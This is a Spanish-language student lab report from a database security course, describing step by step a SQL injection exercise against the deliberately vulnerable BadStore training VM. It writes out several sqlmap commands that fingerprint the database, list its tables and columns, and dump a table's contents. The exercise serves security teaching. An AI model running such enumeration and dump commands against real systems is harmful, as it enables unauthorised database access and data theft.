Practica de laboratorio momento 2 del curso Seguridad en Bases de Datos sobre inyección de código SQL

1. Especialización en
Seguridad Informática
• Ataque por inyección de
código SQL
Estudiante: Daniel Felipe Palomo Luna
Ibagué, Septiembre de 2014

2. Ataque por inyección de
código SQL
1. Teniendo la imagen
ISO de BadStore
configurada en una
maquina virtual de
Virtualbox, se procede
a conocer la dirección
IP asignada para
ingresar vía web
desde el equipo donde
se realizara el ataque
a la Base de Datos.

3. 2. Luego de conocer la
dirección IP, en este caso
asignada la 192.168.1.3
mediante DHCP, se
procede a ingresar desde
un navegador web para
verificar el funcionamiento
del servidor web.
Ataque por inyección de
código SQL

4. 3. Dentro del sitio web, se
debe explorar cada uno de
los menús para visualizar
las diferentes páginas
alojadas, con esto se logra
obtener en la URL la
primera vulnerabilidad:
Manejo de variables con
métodos GET Y POST
Variable encontrada: action
Ataque por inyección de
código SQL

5. Ataque por inyección de
código SQL
4. Al conocer una de las variables que maneja la página a nivel de programación, se
logra el descubrimiento del motor y la versión de la Base de Datos con el siguiente
comando:
sqlmap.py -u "http://192.168.1.3/cgi-bin/badstore.cgi?searchquery=hi&action=search&x=0&y=0" -b

6. Ataque por inyección de
código SQL
5. Obtención del nombre de la Base de Datos con el siguiente comando:
sqlmap.py -u "http://192.168.1.3/cgi-bin/badstore.cgi?searchquery=hi&action=search&x=0&y=0"
--current-db

7. Ataque por inyección de
código SQL
6. Obtención del listado de tablas de la Base de Datos con el siguiente comando:
sqlmap.py -u "http://192.168.1.3/cgi-bin/badstore.cgi?searchquery=hi&action=search&x=0&y=0"
--tables -D badstoredb

8. Ataque por inyección de
código SQL
7. Obtención del listado de columnas de la tabla itemdb de la Base de Datos con el
siguiente comando:
sqlmap.py -u "http://192.168.1.3/cgi-bin/badstore.cgi?searchquery=hi&action=search&x=0&y=0"
-D badstoredb -T itemdb --columns

9. Ataque por inyección de
código SQL
8. Visualización de los datos almacenados en la tabla itemdb de la Base de Datos con
el siguiente comando:
sqlmap.py -u "http://192.168.1.3/cgi-bin/badstore.cgi?searchquery=hi&action=search&x=0&y=0"
-D badstoredb -T itemdb -C ldesc --dump